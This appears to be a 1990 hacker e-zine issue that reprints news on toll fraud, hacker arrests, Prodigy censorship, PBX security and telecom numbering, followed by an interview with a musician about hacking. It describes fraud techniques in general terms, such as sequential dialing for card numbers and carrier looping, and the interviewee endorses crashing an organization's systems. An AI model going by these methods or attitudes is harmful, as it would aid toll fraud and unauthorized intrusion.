Foreman: I have already made some calls, and yes, others will be told about this on Monday.

Me: Well, you know the *81 feature to turn call screening on and off is still not working.

Foreman: I'm not surprised. After all, none of it is supposed to be working right now. You seem to know something about this business, Mr. Townson.

Me: I guess I've picked up a few things along the way.

We then chatted about the Transfer on Busy/No Answer feature. I asked why, if my cell phone on 312‑415‑xxxx had the ability to transfer calls out of the CO and be programmed/turned on and off from the phone itself, my wire line could not. 312‑415 is out of Chicago‑Congress ... he thought it might have to do with that office having some different generics than Rogers Park ... but he could not give a satisfactory answer.

Patrick Townson

________________________________________

The following article appeared in the U‑M Computing Center News (October 25, 1990, V 5, No 18, Pg 10)

[This article was also reprinted in TELECOM digest ‑DH]

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

NSFNET DEMONSTRATES INTERCONTINENTAL ISO TRANSMISSION

[Editor's note: The following article is reprinted, with modifications, from the September 1990 issue of the Link Letter (Vol 3, No 4), published by the Merit/NSFNET backbone project]

At the end of September, partners in the National Science Foundation Network (NSFNET) announced a succesful demonstration of intercontinental data transmission using the International Standards Organization Conectionless Network Protocol (ISO CLNP). The international exchange of ISO CLNP packets was demonstrated betweeen end systems at the NSFNET Network Operations Center in Ann Arbor and in Bonn, West Germany, using the NSFNET backbone infrastructure and the European Academic Supercomputer Initiative (EASInet) backbone.

The prototype OSI implementation is intended to provide wide area connectivity between OSI networks, including networks using the DECNet Phase V protocols.

The new software was integrated into the NSFNET's "packet switching" (data transmission) nodes by David Katz and Susan Hares of the Merit Computer Network, with support from IBM's software developement departments in Milford, CT and Yorktown Heights, NY.

NSFNET is the first federally supported computer network to acheive international ISO CLNP transmission on an operating network, according to Merit's Hans‑Werner Braun, Principle Investigator for the NSFNET Project.

The Prototype ISO implementation is being designed to coexist with NSFNET's operational Internet Protocol (IP) network, and is a significant step towards offering ISO services on the NSFNET backbone. Eric Aupperle, President of Merit and acting director of ITD Network Systems, says that "the demonstration shows that we're capable of transporting ISO traffic. Now we're working to deploy this experimental service as fast as possible."

An implementation of CLNP was first demonstrated by Merit/NSFNET staff at the InterOp '89 conference. That implementation of CLNP was originally developed as part of the ARGO project at the University of Wisconsin, Madision, with the support of the IBM Corporation.

by Ken Horning

DTD Network Systems.

________________________________________

{Middlesex News}, Framingham, Mass., 11/2/90

Prodigy Pulls Plug on Electronic Mail Service For Some

By Adam Gaffin

NEWS STAFF WRITER

Users of a national computer network vow to continue a protest against censorship and a new charge for electronic mail even though the company kicked them off‑line this week.

Brian Ek, spokesman for the network, Prodigy, said the "handful" of users had begun harassing other users and advertisers on the service and that some had even created programs "to flood members' 'mailboxes' with (thousands of) repeated and increasingly strident harangues," he said.

But leaders of the protest say they sent only polite letters ‑‑ approved by the company's legal department ‑‑ using techniques taught by the company itself. Up to nine of them had their accounts pulled hips week.

Protests began in September when the company said it would cut unlimited electronic mail from its monthly fee ‑‑ which includes such services as on‑line airline reservations, weather and games ‑‑ and would charge 25 cents for every message above a monthly quota of 30. Ek says the design of the Prodigy network makes "e‑mail" very expensive and that few users send more than 30 messages a month.

But Penny Hay, the only organizer of the "Cooperative Defense Committee" whose account was not shut this week, said she and others are upset with Prodigy's "bait and switch" tactics: The company continues to promote "free" electronic mail as a major feature. She said Prodigy itself had spurred use of e‑mail by encouraging subscribers to set up private e‑mail ``lists'' rather than use public forums and that the charges will especially hurt families, because the quota is per household, not person.

Ek said relatively few members protested the rate chqange. Gary Arlen, who publishes a newsletter about on‑line services, called the controversy "a tempest in a teapot."

Hay, however, said the group now has the backing of nearly 19,000 Prodigy users ‑‑ the ones advertisers would want to see on‑line because they are the most active ones on the system and so more likely to see their ads.

The group is also upset with the way the company screens messages meant for public conferences. Other services allow users to see "postings" immediately.

"They are infamous for this unpredicible and unfathomable censorship," Hay said.

"We feel what we are doing is not censoring because what we are essentially doing is electronic publishing," Ek said, comparing the public messages to letters to the editor of a family newspaper.

Neil Harris, marketing director at the competing GEnie service, said many people would feel intimidated knowing that what they write is being screened. He said GEnie only rarely has to deleted messages. And he said GEnie has picked up several thousand new customers from among disgruntled Prodigy users.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

"Conversations with Fred," {Middlesex News}, Framingham, 11/6/90.

The story is bizarre but true, swears Herb Rothman. Seems Prodigy, the network run as a joint venture by Sears and IBM, wouldn't let somebody post a message in a coin‑collecting forum that he was looking for a particular Roosevelt dime for his collection. Upset, the man called "member services." The representative told him the message violated a Prodigy rule against mentioning another user in a public message. "What user?" the man asked. "Roosevelt Dime," the rep replied. "That's not a person!" the man said. "Yes he is, he's a halfback for the Chicago Bears," the rep shot back.

Rothman is one of those alleged compu‑terrorists Prodigy claims is harassing other users and companies that advertise on the service by sending out thousands upon thousands of increasingly hostile messages in protest of a Prodigy plan to begin charging users who send more than 30 e‑mail messages a month. Rothman and the others say they sent very polite messages to people (Penny Hay of Los Angeles says her messages were even approved by the Prodigy legal department) telling them about the new fees and urging them to protest.

What's really happening is that Prodigy is proving its complete arrogance and total lack of understanding of the dynamics of on‑line communication. They just don't get it. People are NOT going to spend nearly $130 a year just to see the weather in Oregon or order trips to Hawaii.

Even the computerphobes Prodigy wants to attract quickly learn the real value of the service is in finding new friends and holding intelligent "discussions" with others across the country.

But Prodigy blithely goes on censoring everything meant for public consumption, unlike other nationwide services (or even bulletin‑board systems run out of some teenager's bedroom). Rothman's story is not the only one about capricious or just plain stupid censoring. Dog fanciers can't use the word ``bitch'' when talking about their pets, yet the service recently ran an advice column all about oral sex. One user who complained when a message commenting on the use of the term "queen bitch" on "L.A. Law" was not allowed on was told that "queen b***h" would be acceptable, because adults would know what it meant but the kiddies would be saved.

So when the supposed technology illiterates Prodigy thinks make up its user base managed to get around this through the creation of private mail "lists" (and, in fact, many did so at the urging of Prodigy itself!), Prodigy started complaining of "e‑mail hogs," quietly announced plans to levy charges for more than a minute number of e‑mail messages each month and finally, simply canceled the accounts of those who protested the loudest!

And now we are watching history in the making, with the nation's first nationwide protest movement organized almost entirely by electronic mail (now don't tell Prodigy this, but all those people they kicked off quickly got back onto the system ‑‑ Prodogy allows up to six users per household account, and friends simply loaned their empty slots to the protest leaders).

It's truly amazing how little faith Prodigy has in the ability of users to behave themselves. Other systems have "sysops" to keep things in line, but rarely do they have to pull messages. Plus, Prodigy is just being plain dumb. Rothman now has a mailing list of about 1,500. That means every time he sends out one of his newsletters on collectibles, he sends 1,500 e‑mail messages, which, yes, costs more for Prodigy to send over long‑distance lines and store in its central computers. But if they realized their users are generally mature, rather than treating them as 4‑year‑olds, Rothman could post just one message in a public area, that everybody could see.

Is this any way to run an on‑line system? Does Prodigy really want to drive away the people most inclined to use the service ‑‑ and see all those ads that pop up at the bottom of the screen? Prodigy may soon have to do some accounting to the folks at IBM and Sears, who by most accounts have already poured at least $750 million into "this thing."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

With your computer and modem, you can reach Fred the Middlesex News Computer anytime, day or night, at (508) 872‑8461. Set your parameters to 8‑1‑N and up to 2400 baud.

________________________________________

HEADLINE Cops Say Hacker, 17, `Stole' Phone Service Byline: By Joshua Quittner

DATE 10/31/90

SOURCE Newsday (NDAY)

Edition: NASSAU AND SUFFOLK

Section: NEWS

Page: 02

(Copyright Newsday Inc., 1990)

State Police arrested a 17‑year‑old computer hacker at his terminal yesterday afternoon, and charged the Bethpage High School student with using his computer to run up more than $1 million worth of long‑distance telephone calls on credit card numbers he deciphered.

State Police Senior Investigator Donald Delaney, who supervised the investigation and arrest of John Farrell, of 83 S. Third St., said that the case was among the first to rely on new technology developed by telecommunications engineers to track long‑distance telephone‑service abusers.

Investigators believe that as early as December, 1989, Farrell was using his computer and a homemade electronic device, known as a black box, to sequentially dial telephone numbers, which double as credit card numbers. By automatically calling the numbers in sequence, Farrell hoped to trigger a signal indicating a valid credit card number.

However, AT&T, which recently developed software to detect such sequential dialing, alerted Delaney's office in September of Farrell's alleged attempts. In July, investigators surreptitiously placed a "pen register" ‑ a device that records all numbers dialed from a particular phone line ‑ on Farrell's telephone, Delaney said.

State Police and U.S. Secret Service agents ‑ the federal agency has been taking an active part in computer crimes and investigates credit card fraud staked out Farrell's house yesterday afternoon. Shortly after 3 p.m., when the youth arrived home from school, technicians monitoring his telephone line signaled the police that he had already turned on his computer and was using an illegal credit card number to access an electronic bulletin board in Illinois, police said. Officers, armed with a search warrant, then entered the house and arrested Farrell.

Delaney said Farrell found over 100 long‑distance credit card numbers, from four long‑distance carriers, and posted them on rogue electronic bulletins boards in Virginia, Chicago, Denmark and France. Although he allegedly made most of the illegal calls, other hackers also used the numbers. The majority of the calls ‑ more than $600,000 worth ‑ were billed to four corporate card numbers, said Delaney, who added that the phone company is responsible for such losses. Farrell was arrested and charged with six felonies, including grand larceny, computer trespass and criminal possession of stolen property. The charges carry a maximum penalty of four years in prison. He was released into the custody of his parents last night. Neither Farrell nor his parents could be reached for comment yesterday. Farrell was associated with a group of hackers who called themselves Paradox, Delaney said.

________________________________________

HEADLINE Menacing calls started out as prank, says participant Byline: Katharine Webster and Graciella Sevilla Credit: Staff Writer

Notes: Editions vary : Head varies

DATE 10/28/90

SOURCE The San Diego Union and Tribune (SDU)

Pub: UNION

Edition: 1,2,3,4,5,6

Section: LOCAL

Page: B‑1

(Copyright 1990)

A three‑year campaign of telephoned threats and ethnic slurs directed against the Jewish owner of a National City pawn shop started out as a "stupid prank" that grew to include more than 100 people, according to one of the young men who participated in the harassment. "Little did I know when I started this three years ago, that it would escalate into my brother calling (David Vogel) 10 times a day," said Gary Richard Danko, 21, of Chula Vista, who cooperated with the FBI investigation that resulted in the indictment Wednesday of his older brother and two other men on civil rights charges.

Michael Dennis Danko, 23, and Brett Alan Pankauski, 22, both of Chula Vista, and Jeffrey Alan Myrick, 21, of Paradise Hills in San Diego, pleaded not guilty in U.S. District Court yesterday to a six‑count indictment charging them with wire fraud and felony conspiracy to violate the civil rights of David Vogel, a 66‑year‑old Jewish immigrant who escaped the Holocaust.

Pankauski was released on $10,000 bail and admonished to avoid all contact with Vogel. But Danko and Myrick were held without bail pending an Oct. 4 detention hearing after federal prosecutor Michael McAuliffe convinced Magistrate Irma Gonzalez that they posed substantial flight risks.

On Wednesday, Gary Danko and a friend, Robert John Byrd, 21, also of Chula Vista, pleaded guilty to one misdemeanor count of conspiring to violate Vogel's civil rights, according to a spokesman for the U.S. attorney's office. The two friends, who met while working at a 7‑Eleven, were released and agreed to testify at the trial of the remaining three defendants.

Though the arrests climaxed a five‑month investigation involving the FBI, U.S. attorney's office and the Department of Justice, Gary Danko said yesterday that the menacing phone calls to numbers picked "at random" from the telephone book began years ago.

The group of friends, most of whom have known each other since elementary school, all used to make crank phone calls, Danko said, even to each other. They also experimented with breaking codes for answering machines and changing the outgoing message to something profane.

While he said he stopped making the calls to Vogel a couple of years ago, his brother and others "took it out to a degree to torment the guy."

"I feel bad that it turned out this way," Danko said. "I wish there was some way I could make it up to David (Vogel)."

"I know how he feels," Danko added. "Ever since I've had my own phone line I've had harassing phone calls between 2 and 6 in the morning to the point where I've changed my phone number three times." Danko denied that he, his brother, or any of the other defendants in the case were racists or that they had targeted Vogel for any particular reason. He said that the defendants made crank calls to many people, and that the anti‑Jewish nature of the calls to Vogel was probably based on a "lucky guess" that he was Jewish.

According to the indictment, Michael Danko, Myrick, and Pankauski made phone calls in which they referred to Nazi concentration camps and Hitler, while threatening to harm Vogel and his pawn‑shop business.

Vogel said he began receiving the phone calls ‑‑ which included racial slurs and taunts about his wife ‑‑ in 1987. Sometimes he received up to 12 calls a day, creating a "personal hell." Earlier this year, he finally hired a private investigator, who then turned the case over to the FBI.

"It caused suffering for us like the concentration camps did for my family," Vogel said. "It was horrible."

Another relative of Gary and Michael Danko, who asked not to be identified, said he thought the calls to Vogel continued only "because they got a reaction out of him ‑‑ he screamed and yelled at them." But he said Vogel was probably not the only Jew targeted in the phone calls.

The relative agreed with FBI agents, who described these incidents as isolated and not connected with organized racist groups such as the Skinheads.

Instead, he said, the brothers thought they were doing "something funny." He said he thought they still didn't realize they were doing something wrong, even though he had "yelled and screamed at them" to stop.

Gary Danko is a computer "hacker" who works at a computer store, he said. Michael Danko was unemployed.

FBI agents began investigating the calls in May, when they placed a tape recorder on Vogel's phone. It only took a few moments before the first hate call came in.

Agents traced the calls to a number of phone booths and then began putting together the wire‑fraud case.

In addition to the civil rights violations, the indictment alleges that the three defendants conspired to obtain unauthorized AT&T long‑distance access codes to make long‑distance phone calls without paying for them.

If convicted of the civil rights and wire‑fraud charges, the defendants could face up to 15 years in prison and $500,000 in fines. In addition, they face various additional charges of illegally obtaining and using the restricted long‑distance access codes.

Yesterday, Vogel angrily rejected the notion that these callers were less than serious in their intentions.

"They're full of baloney. They don't know what they are talking about," he said.

________________________________________

HEADLINE SHORT‑CIRCUITING DATA CRIMINALS

STEPS CAN BE TAKEN TO DETECT AND PREVENT COMPUTER SECURITY BREACHES, BUT BUSINESSES HESITATE TO PROSECUTE

Byline: Mary J. Pitzer Daily News Staff Writer Notes: MONDAY BUSINESS: COVER STORY THE PRICE OF COMPUTER CRIME. Second of two parts

DATE 10/22/90

SOURCE LOS ANGELES DAILY NEWS (LAD)

Edition: Valley

Section: BUSINESS

Page: B1

(Copyright 1990)

Along with other telecommunications companies, Pacific Bell is a favorite target for computer crime.

"We're a victim," said Darrell Santos, senior investigator at Pacific Bell. "We have people hacking us and trying to get into our billables. It seems like a whole lot of people are trying to get into the telecommunications network."

But the company is fighting back. About seven employees in its investigative unit work with different law enforcement agencies to track down criminals, many of whom use the phone lines to commit computer crimes.

In cooperation with authorities Pacific Bell investigators collect evidence, trace calls, interview suspects and testify in court. They even do their own hacking to figure out what some of their chief adversaries are up to.

"We take a (telephone) prefix and hack the daylights out of it. We hack our own numbers," Santos said. "Hey, if we can do it, think of what those brain childs are doing."

Few companies are nearly so aggressive. For the most part computer crime is a growing business that remains relatively unchecked. State and federal laws against computer crime are in place, but few cases are prosecuted. Most incidents go unreported, consultants say.

"We advise our clients not to talk about losses and security because just talking about them in public is a breach," said Donn Parker, a senior managment consultant at SRI International in Palo Alto. "Mostly companies handle incidents privately or swallow the loss."

Most problematic is that few companies have tight enough security to protect themselves.

"On a scale of one to 10, the majority of companies are at about a two," said Jim Harrigan, senior security consultant at LeeMah Datacom Security Corp., which sells computer security products.

Current laws are strong enough to convict computer criminals, security experts say. But they have been little used and sentences are rarely stiff, especially because so many violators are juveniles.

Fewer than 250 computer crime cases have been prosecuted nationally, according to Kenneth Rosenblatt, head of the Santa Clara County district attorney's high technology unit. Rosenblatt co‑authored California's recent computer crime law, which creates new penalties such as confiscation of computer equipment.

Under a strengthened federal Computer Fraud and Abuse Act, Cornell University graduate student Robert T. Morris Jr. was convicted of unleashing a computer virus in Internet, a large computer network tying universities and government facilities. Though the virus was not intended to destroy programs, it infected thousands of computers and cost between $100,000 and $10 million to combat, according to author and hacking expert Cliff Stoll.

Morris was sentenced to three years probation and a $10,000 fine.

A major problem in policing computer crime is that investigators are understaffed and undertrained, Rosenblatt said. While Los Angeles and other police departments have computer crime units, most are not geared for it, he said. And violent crimes take precedence.

Rosenblatt would like to see greater regional cooperation and coordination among local law enforcement agencies.

Because investigators are understaffed, they must depend on their victims to gather enough evidence to convict the culprits. And that can be fraught with difficulties, Kenneth Weaver, criminal investigator in the San Diego district attorney's office, said at a recent security conference in Newport Beach.

In one case a company's computer system crashed and its programs were erased 30 days after an employee left the firm. With six months of backup tapes, the company was able to document what had happened. The District Attorney's office asked to estimate how much money had been lost.

The total came to $3,850, well below the $5,000 in damages needed for a felony case, Weaver said. And then the information was delayed 14 months. It needed to be reported in 12 months for the D.A. to go forward with the case.

"We were prevented from prosecuting," Weaver said. In California, 71 percent of the cases result in convictions once arrests are made, according to the National Center for Computer Crime Data.

But when prosecutors do make a case, there can be more trouble. Some prominent people in the computer industry have complained that a 2‑year investigation by the U.S. Secret Service infringed on civil rights.

The investigation, code‑named Operation Sun Devil, was started to snare members of the Legion of Doom, an elite hacker group. The Secret Service suspected that they had broken into BellSouth Corp.'s telephone network and planted destructive programs that could have knocked out emergency and customer phone service across several states. Last spring, hacker dens in 13 cities were raided. Two suspects have been charged with computer crimes, and more arrests are expected.

But a group called EFF, formed in July by Lotus Development Corp. founder Mitchell D. Kapor and Apple Computer Inc. co‑founder Stephen Wozniak, has objected to the crackdown as overzealous.

"The excesses of Operation Sun Devil are only the beginning of what threatens to become a long, difficult, and philosophically obscure struggle between institutional control and individual liberty," Kapor wrote in a paper with computer expert and Grateful Dead lyricist John Perry Barlow.

So far, the foundation has granted $275,000 to Computer Professionals for Social Responsibility to expand its ongoing work on civil liberties protections for computer users.

The foundation also is offering legal assistance to computer users who may have had their rights infringed. For example, it provided legal support to Craig Neidorf, publisher of an online hacking "magazine." Neidorf had been charged with felony wire fraud and interstate transportation of stolen property for publishing BellSouth network information.

Neidorf said he was not aware the information was stolen. EFF claimed that Neidorf's right to free speech had been violated. The government dropped its case after EFF representatives found that the apparently stolen information was publicly available.

Companies that want to prosecute computer crime face other dilemmas.

"The decision to bring in public authorities is not always the best," said Susan Nycum, an attorney at Baker & McKenzie in Palo Alto.

In a criminal case, the company loses control over what information is made public in the trial. But companies can pursue civil remedies that enable them to keep a lower profile. Suing for theft of trade secret, for example, would be one avenue, Weaver said.

Many companies are reluctant to beef up security even if they know the risks from computer crime. First, they worry that making access to computers more difficult would lower productivity. There also is concern that their technical people, who are in high demand, might leave for other jobs if security becomes too cumbersome.

Expense is another factor. Serious security measures at a large installation can cost an average of $100,000, though a smaller company can be helped for about $10,000, said Trevor Gee, partner at consulting company Deloitte and Touche.

"They hear all the rumors, but unless you illustrate very specific savings, they are reluctant," Gee said.

Proving cost savings is difficult unless the company already has been hit by computer crime. But those victims, some of whom have suffered losses in the millions, are usually security experts' best customers, consultants say.

Much of the vulnerability to computer crime comes simply from lax security. Access is not restricted. Doors are not locked. Passwords are easily guessed, seldom changed and shared with several workers. And even these basic security measures are easy to put off.

"You hear a lot of, `We haven't gotten around to changing the password because. . .," Roy Alzua, telecommunications security program manager at Rockwell International, told the security conference.

So what should companies do to plug the gaping security holes in their organizations?

Consultants say that top management first has to make a commitment that everyone in the operation takes seriously.

"I've seen companies waste several hundreds, if not thousands, of dollars because management was not behind the program," Deloitte & Touche's Gee said. "As a result, MIS (management information systems) professionals have a tough time" pressing for more security.

Once top executives are convinced that there is a need for tighter security, they must establish policies and procedures, consultants say. Gee suggests that in addition to training programs, reminders should be posted. Such issues as whether employees are allowed to use computers for personal projects should be tackled.

Management also should decide what systems and information need to be secured.

"They need to zero in on the information they are really concerned about," said Gregory Therkalsen, national director of information security services for consultants Ernst & Young. "About 95 percent of the information in the average company nobody cares about."

Before tackling complicated security systems, companies should pay attention to the basics.

"Lock a door. It's as easy as that," Alzua said.

Companies should make sure that the passwords that come with their computers are changed. And then employees should not use common words or names that are easy to guess. Using a combination of numbers and letters, although difficult to remember, is more secure.

Another basic measure is to have a system that automatically checks the authorization of someone who dials into the company's computers from the outside.

Then, companies should develop an electronic audit trail so that they know who is using the system and when. And companies should always take the time to make backups of their computer files and store them in a place safe from fire and flood.

A wide variety of software is available to help companies protect themselves. Some automatically encode information entered into the system. Others detect viruses.

For a more sophisticated approach, LeeMah Datacom has a system that blocks a computer tone from the telephone line until the correct access code is entered. The company has held contests challenging hackers to break into its system. No one has, the company said.

SRI is developing a system that would monitor computer activity around the clock with the supervision of a security guard. SRI is implementing the system for the FBI and plans to make it a commercial product.

No company would want to have a perfectly secure system, consultants say. That would mean shutting out most employees and staying off networks that can make operations more efficient.

While still balancing the need for openess, however, there is much that can be done to prevent computer crime. And although there is no perfect solution, companies don't need to stand by waiting to become the next victim.

________________________________________

HEADLINE BELL CANADA'S NEW LOOK TELEPHONE NUMBERS PUZZLE SOME CUSTOMERS DATE 09/26/90

SOURCE CANADA NEWS‑WIRE (CNW)

Contact: For further information, contact: Irene Colella (416) 581‑4266; Geoff Matthews, Bell Canada (416) 581‑4205. CO: Bell Canada SS: IN: TLS

Origin: TORONTO

Language: ENGLISH; E

Day of Week: Wed

Time: 09:56 (Eastern Time)

(Copyright Canada News‑Wire)

RE CN

‑‑‑ BELL CANADA'S NEW LOOK TELEPHONE NUMBERS PUZZLE SOME

CUSTOMERS ‑‑

TORONTO ‑ Bell Canada's new look telephone numbers in Southern Ontario are causing puzzlement among some customers in the 416 area code.

In late 1988 Bell found itself running short of telephone numbers in the Golden Horseshoe because of rapid business and residential growth as well as the increasing popularity of cellular telephones, fax machines and new services like Ident‑A‑Call.

To accommodate continuing growth, the company had to come up with a means of creating new number combinations. The solution was found by assigning local exchanges made up of combinations which had previously been reserved as area codes elsewhere in North America.

Until March of this year the three numbers (known as a central office code) which begin a telephone number never had a zero or a one as the second digit. Anything from two through nine could appear in that position, but combinations with zero or one were used only as area codes. But with more than four million telephone numbers in use throughout the Golden Horseshoe Bell was simply running out of the traditional central office code combinations. By creating new central office codes such as 502, 513, 602 and 612, the company has access to up to one million new telephone numbers.

Some customers, however, have found the new numbers a little confusing. When the new numbers were introduced last March, Bell mounted an extensive advertising campaign telling customers throughout the 416 area code to dial 1 plus 416 or 0 plus 416 for all long distance calls within the area code in order to ensure calls to these numbers could be completed.

Bell spokesman Geoff Matthews says that while the ad campaign was extremely effective in changing dialing habits, a number of customers are scratching their heads when they first see the new telephone numbers.

``In some cases we are finding that business customers have not programmed their telephone equipment to permit dialing the new numbers,'' Matthews said, ``but some people think it is simply a mistake when they see a telephone number beginning with 612 for example. Most are satisfied once they have received an explanation.''

Creating the million new telephone numbers should see Bell Canada through several years, Matthews said, after which a new area code will be introduced.

The 416 area code is the first in Canada to reach capacity. A number of U.S. cities have faced a similar situation, Matthews said, and have introduced similar number plans.

Bell Canada, the largest Canadian telecommunications operating company, markets a full range of state‑of‑the‑art products and services more than seven million business and residence customers in Ontario, Quebec and part of the Northwest Territories.

Bell Canada is a member of Telecom Canada ‑‑ an association of Canada's major telecommunications companies.

For further information, contact: Irene Colella (416) 581‑4266; Geoff Matthews, Bell Canada (416) 581‑4205.

________________________________________

HEADLINE Keeping The PBX Secure

Byline: Bruce Caldwell

DATE 10/15/90

Issue: 291

Section: TRENDS

Page: 25

(Copyright 1990 CMP Publications, Inc. All rights reserved.)

Preventing toll fraud through the corporate PBX can be as simple, albeit inconvenient, as expanding access codes from four digits to 14. "When we had nine‑digit codes, we got hurt bad," says Bob Fox of US Sprint Communications Co., referring to the phone company's credit card numbers. "But when we moved to 14‑digit codes and vigorous prosecution, our abuse dropped off the table."

At most companies, the authorization code for remote access, used by employees to place calls through the corporate PBX while away from the office, is only four digits. Many companies are "hung up on the four‑digit authorization code," says Fox, mainly because it's easier for the executives to remember. But all it takes a hacker to crack open a four‑digit code is about 20 minutes.

To help their customers cope with PBX abuse, MCI Communications Corp. has prepared a tip sheet describing preventative measures (see accompanying chart). PBX fraud may display itself in a particular pattern: The initial stage will show a dramatic increase in 950‑outbound and 800‑outbound services, which allow a surreptitious user to "cover his tracks" by jumping from one carrier to another‑a technique known as "looping." In time, knowledge of the unsecured system may become widespread, resulting in heavy use of services connected with normal telecommunications traffic.

Customers are advised to audit systems for unusual usage and to change codes on a regular basis. Steady tones used as prompts to input access codes should be avoided, because that is what hacker‑programmed computers look for. Instead, MCI advises use of a voice recording or no prompt at all, and recommends automatic termination of a call or routing it to a switchboard operator whenever an invalid code is entered.

An obvious source of help is often overlooked. Explains Jim Snyder, an attorney in MCI's office of corporate systems integrity, "The first thing we tell customers is to contact their PBX vendor to find out what kind of safeguards can be built into the PBX."

________________________________________

HEADLINE WATCH YOUR PBX

Column: Database

DATE 04/02/90

SOURCE COMMUNICATIONSWEEK (CWK)

Issue: 294

Section: PRN

Page: 24

(Copyright 1990 CMP Publications, Inc. All rights reserved.)

Many managers of voice systems would be "horrified" if they realized the low levels of security found in their PBXs, according to Gail Thackeray, an assistant attorney general for the state of Arizona. Thackeray made her comments to a group of financial users at a computer virus clinic held by the Data Processing Management Association's Financial Industries chapter. Thackeray, who investigates computer crimes, said that PBXs often are used by network criminals to make free long distance phone calls at the expense of the companies that own the PBXs. "PBX owners are often unaware that if $500,000 worth of fraud comes from your PBX, the local carrier is not going to absorb that loss," she said.

The PBX also is often the first source of break‑in by computer hackers, who use the free phone service to get into a user's data system, she said. "PBXs are the prime method for international toll fraud and hackers attacking and hiding behind your corporate identity," Thackeray said.

Richard Lefkon, Citicorp's network planner and president of DPMA's financial industries chapter, said users are more likely to take steps toward protecting a PBX than a network of microcomputers. "A PBX is expensive, so if you add 15 to 20 percent to protect it, it's a justifiable expenditure," Lefkon said. "If you have a PC which costs a couple of thousand dollars, unless you think you're special, you are going to think twice before investing several hundred dollars per PC to protect them."

Knight Line I Part 3

KL ^*^ KL ^*^ KL ^*^ KL ^*^ KL

K N I G H T L I N E

Issue 03/Part III of III

17th of November, 1990

Written, compiled,

and edited by Doc Holiday

KL ^*^ KL ^*^ KL ^*^ KL ^*^ KL

‑‑

What is this? Information Society's new album is called "HACK"? Just what do these guys know about hacking? How did they come up with the album title? Why are they taking such an interest in the Computer Underground?

Knightline got the chance to ask Kurt Valaquen of InSoc about the new album and his involvement with the CU.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

RINGing New York .. .

KV: Hello

Me: Kurt?

KV: Yes, Doc ?

Me: Yea, you ready for the interview?

KV: Sure, shoot.

Me: Okay, this is DH with Phrack Classic‑‑

TC: This is the Conflict

PH: And this is Pain Hertz

KV: I uh, hope you ask me what my hacker handle is..

Me: Ok, what's your handle?

KV: Because I believe that I have one of the coolest hacker's handles that I've ever heard.

TC: uhh

Me: What is it?

KV: TRAPPED VECTOR.

Me: "Trapped Vector" ?

KV: yep

Me: How did you come up with that?

KV: What? You don't recognize it ?

Me: haha

KV: What.. . and you guys call yourselves hackers?

Me: ah

KV: My god. . you guys must be so young that you've never had to deal with assembly language.

Me: Who would want to‑‑ It was a sarcastic question..

Me: Now, Kurt..

KV: Trapped Vector is a term from deep deep down in the functioning's of a CPU. Me: Right.

Me: Uh, uh What kind of involvement, if any, have you had in the telecommunications field?

KV: In telecommunications what?

Me: In the telecommunications field.

KV: Uhh.. I majored in computer science at the University of Minnesota.. . Just long enough to get interested and not long enough to get a degree. Me: ah. So you didn't graduate?

KV: No. After my 5th year I finally gave up and went to Vienna. Me: Uhh. Let's get into the new album .. uh now, what was the inspiration for involving the "hacking" theme in your new album?

KV: Umm, well, it's not like we were inspired to do it ‑‑ and we sat around all day and said "Hey, let's like put this hacker's moltese into it." ‑‑ it's more like we just left all that stuff out on our first album because we were trying to .. uh.. to not make any waves, since it was our first album. And now were cocky and think we can do whatever we want. So we just did whatever we wanted. And whenever we do whatever we want, some of that stuff inevitably creeps in because .. were into it.

Me: uhh.. have you been following all of the recent hacking busts that have plagued the country this year .. ?

KV: Hacking "buzz" that has plaged.. .

Me: BUSTS.. yea hacking busts..

KV: Oh, I haven't been following it, but I've been hearing a little bit about it from my friends..

Me: Yea, because your album comming out titled "HACK" really does tie in with this time period of hackers getting alot of press..

KV: Yea

Me: And I just thought that could have been one of the inspirations.. . KV: Well, actually, believe it or not, we don't really know what it means to title an album "HACK". We have a list of about nine different interpretations that we thought we could leave open and anyone else could decide which is the real one and strangley (Gruhm) the computer hacker concept is pretty far down on our list. The first one we always think of is uh.. the hack versus .. uh.. respected professional‑‑ meaning‑‑ like, you know, their just hack, he's just a hack writer.. .

Me: Right.

KV: Their just hack musicians‑‑ because uh, I guess we wanted to be self‑deprecating in a sarcastic and easily marketable way.

Me: Yea..

Me: What about your personal involvement in the Computer Underground? Is there one? With hackers?

KV: Well, umm.. if I were not being a "pop tart" (which is our personal lingo for rock star) I would probably be trying to make my money off of programming.

Me: Aaah!

KV: Ummm, however.. that's not the case.. I am trying to be a "pop tart" so my involvement is more limited that I would like it to be. I mean I do all my work on IBM.. When I'm composing..

Me: Hm, Kurt, what are your thoughts and attitudes toward hackers and hacking? KV: Umm, this is my thoughts and attitudes towards it: I am somebody who ‑always. . always ‑‑ like when I had that telephone job, I just was, I hardly did any work. I just spent the whole time trying to come up with tricky things to do you know. Like I'd screw up other people's phone calls and stuff and so like I'm way into it. And I understand why people want to do it. BUT, I always kinda, knew that I just .. . shouldn't. Just because it's stupid.. It was childish. And, I just wish that hackers could come up with something better to do than get things without paying for them. PH: Like something more productive?

KV: Yea, like .. uh.. umm, crash some sort of umm, killing organization's computer system.

Me: Have you always had these thoughts or..just because of your popularity? KV: Umm, I've had this attitude as I got older, because .. um, I'm just becomming really bored with people devoting all this intelligence and motivation into like avoiding paying their phone bill.

TC: Well, actually, that's getting away from the hacker as such. Because alot of hackers are really into systems more than their into .. you know, toll fraud.

KV: Well I sure hope so..

TC: Yea, I mean..

KV: My Idea of great hacking is gathering information that other people are wronmgfully trying to withhold.

TC: Right.

KV: But, most hacking to me seems to be petty ways of getting things without paying for them.. and that is just silly.

Me: That is the "90's hackers" Kurt.

PH: Yea, it's moving that way alot..

Me: It's in that direction.

Me: Tell us about the telephone job you mentioned?

KV: Well, I worked at a market research place. You all know what that is‑‑ you call up and say, "Hello, my name is Kurt and Im calling for marketing incentives incorporated, and we are conducting a survey in your area tonight... about toothpaste!"

PH: Hah

TC: ahha

Me: Bahaha

KV: "And I would like to know if I could ask you a few questions?" .. "What! I don't wanna buy no toothpaste!" .. "No we were just going to ask a few questions.." ‑‑ Ewwwwph..

